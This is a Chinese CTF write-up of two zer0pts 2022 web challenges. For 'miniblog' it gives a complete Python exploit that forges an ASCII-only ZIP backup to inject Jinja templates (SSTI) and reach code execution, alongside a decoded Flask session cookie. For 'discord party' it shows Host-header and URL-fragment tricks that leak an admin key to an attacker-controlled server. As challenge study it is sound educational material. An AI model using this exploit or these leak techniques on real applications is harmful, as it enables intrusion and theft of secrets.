zer0pts2022 部分 web wp miniblog# discord party

[zer0pts2022]miniblog#

由于过滤检查了长度

        for m in re.finditer(r"{{", content):
            p = m.start()
            if not (content[p:p+len('{{title}}')] == '{{title}}' or \
                    content[p:p+len('{{author}}')] == '{{author}}' or \
                    content[p:p+len('{{date}}')] == '{{date}}'):
                return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None

所以原来在写入博客的地方直接进行注入看来是极其困难的

但是搜搜ssti相关的render_template_string或者render_template函数,注意到post路由下的模板渲染函数没有用到这个过滤,

    return flask.render_template_string(post['content'],
                                        title=post['title'],
                                        author=post['author'],
                                        date=post['date'])

post['content']可以由用户import操作导入到flask数据库中,即用户可控

所以需要import一个含有ssti payload的文件,之后读取就可以rce

解题思路:首先注册一个用户A,通过flask-unsign将相关的信息从flask的cookie中解密出来,利用这些信息构造一个zip包(这个zip包只需要保证其中所有的字符都小于0x7f,0x7f是因为flask的HTTP请求只能发送Unicode),再注册一个用户B,其用户名就是该zip包的内容,使用用户B的身份直接从网站导出backup.db,最后使用用户A的身份将backup.db导入,即成功。

注册用户a并获取cookie

.eJwNyjsOwyAMANC7eM5gfg7ubQwmAkVJK2jVIcrdw_r0LvjIGFVGhRdEo5mTpmAVvWaL6EiTRmdcUQwBFviN0k85ytzfKq1N-r_7rq1PIcM-sWiOG4ZMnthZpI1JxPh1ZbgfXZUghQ.YoHslQ.aRrle9kd8GwwUPffM0MXO4H2BEE

flask-unsign --decode --cookie .eJwNyjsOwyAMANC7eM5gfg7ubQwmAkVJK2jVIcrdw_r0LvjIGFVGhRdEo5mTpmAVvWaL6EiTRmdcUQwBFviN0k85ytzfKq1N-r_7rq1PIcM-sWiOG4ZMnthZpI1JxPh1ZbgfXZUghQ.YoHslQ.aRrle9kd8GwwUPffM0MXO4H2BEE

解码得到用户信息

{'passhash': '81dc9bdb52d04dc20036dbd8313ed055', 'username': 'thaii', 'workdir': '6194b9adc8f05c64693206f96aa14779'}

放入我魔改的脚本中

import re, os, json, sys
import requests
import binascii
import zipfile

cmd = "id"
url = 'http://192.168.239.119:9999/'
sess = requests.Session()

text = "{'passhash': '81dc9bdb52d04dc20036dbd8313ed055', 'username': 'thaii', 'workdir': '6194b9adc8f05c64693206f96aa14779'}"
##解cookie所得的用户信息

infos = json.loads(text.replace("\'", "\""))

workdir, username, passhash = infos['workdir'], infos['username'], infos['passhash']
print(f"[+] We now got workdir: {workdir}, passhash: {passhash}, username: {username}")

def generate_payload(cmd):
    data = {}
    test_payload = "P" * 140 + "{{config}}"
    #test_payload = "P" * 110 + "{{1*2}}"
    valid = False
    while not valid:
        data = {
            "title": "exploit",
            "id": "exploit",
            "date": "2022/3/26 19:42:30",
            "author": "thai",
            "content": test_payload
        }
        ret = binascii.crc32(json.dumps(data).encode('utf8')) & 0xffffffff
        barr = bytearray.fromhex(hex(ret)[2:].rjust(8, '0'))
        for i in barr:
            if i > 0x7f:
                test_payload += 'A'
                break
            elif barr.index(i) == len(barr) - 1:
                valid = True
    return json.dumps(data)

print('[*] Cracking the CRC32...')
payload = generate_payload(cmd)
print(f'[+] Now we got the payload: {payload}')

# Create a malicious zip comment
# 简单查看一下后发现需要修改时间戳 frFileTime 为 \x00\x00, frCompressedSize、frUncompressedSize 和 deExternalAttributes 必须小于128
# frFileTime - date_time
# deExternalAttributes - external_attr ( https://stackoverflow.com/questions/434641/how-do-i-set-permissions-attributes-on-a-file-in-a-zip-file-using-pythons-zip )
# frCompressedSize、frUncompressedSize 只要加垃圾字符填充到不会出问题即可
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED, compresslevel=0) as z:
    filename = f"post/{workdir}/exploit.json"
    info = zipfile.ZipInfo(filename=filename, date_time=(1980, 0, 0, 0, 0, 0))
    info.external_attr = 0o464 << 16
    z.writestr(info, payload)
    z.comment = f'SIGNATURE:{username}:{passhash}'.encode()

with open('exploit.zip', 'rb') as f:
    evil_data = f.read()
for i in bytearray(evil_data):
    if i > 0x7f:
        print(i)
        sys.exit("[!] char greater than 0x7f is in the zip!")
print('[+] evil zip file has been checked!')

print('[*] Create a new session to export the file.')
sess2 = requests.Session()
sess2.post(url=url + 'api/login', json={"username": evil_data.decode('utf-8'), "password": "1234"})
r = sess2.get(url=url + 'api/export')
exported_zip = json.loads(r.text)['export']
print(exported_zip)
print('[+] Now we get the exported file.')

print(f'[!] Try to execute the cmd: {cmd}')
print("try by yourself")

运行脚本,脚本会生成可用的压缩包Base64格式,

image-20220516145526315

把它放入txt文件中直接在a用户处上传(这里的测试payload是{{config}})

一开始我尝试{{1*2}}

image-20220516140025633

说明的确是可以ssti的,尝试{{config}}也可以,那这样以后就可以rce了

image-20220516142845573

[zer0pts2022]discord party

照着官解的思路进行了复现

审计app.py

is_admin = isinstance(key, str) and get_key(id) == key

说明只要得到admin的key就之后访问post界面就可以出

审计了bot的crawler.py

import discord
...
while True:
        r = c.blpop('report', 1)
        if r is not None:
            key, value = r
            try:
                await channel.send(value.decode())
            except Exception as e:
                print(f"[ERROR] {e}")

第一次遇到还可以import discord的,看来以前还是太菜了,这代码大约是说bot会将message写进redis,然后再发送到某个秘密channel中。

审计/api/report

parsed = urllib.parse.urlparse(url.split('?', 1)[0])
    if len(parsed.query) != 0:
        return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
    if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
        return flask.jsonify({"result": "NG", "message": "Invalid host"})

    # Parse path
    adapter = app.url_map.bind(flask.request.host)
    endpoint, args = adapter.match(parsed.path)
    if endpoint != "get_post" or "id" not in args:
        return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})

    # Check ID
    ...

    key = get_key(args["id"])
    message = f"URL: {url}?key={key}\nReason: {reason}"

    try:
        get_redis_conn(DB_BOT).rpush(
            'report', message[:MESSAGE_LENGTH_LIMIT]
        )
    except Exception:
        return flask.jsonify({"result": "NG", "message": "Post failed"})

    return flask.jsonify({"result": "OK", "message": "Successfully reported"})

要先构造url满足前面的各种要求,同时如果能让他发key到我们vps上就可以了

结果发现它前面各种要求其实是对url = flask.request.form["url"]

进行检查

但是下面这个发送请求的代码

 adapter = app.url_map.bind(flask.request.host)

endpoint, args = adapter.match(parsed.path)

仔细一看发现其实只是对request的host进行请求

所以只要修改host header就可以发送任意请求了,前面的url参数的检查只是个幌子

还有另一种解法:

在有效的一个post链接后面添加# <vps>,由于题目没有检查hash字段,且最终是将整个url进行拼接,空格又打断了实际上发出去时的url判断,实际上就变成了将vps和后面的参数拼起来又发了一次

http://party.ctf.zer0pts.com:8007/post/0123456789abcdef# http://example.com/

image-20220525195924625

由于比赛已经结束,他discard的机器人已经关掉了,所以没有办法在vps上获取key

image-20220525202520365

不过这道题的代码审计的点已经get到,做法也已经复现,故不深究了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇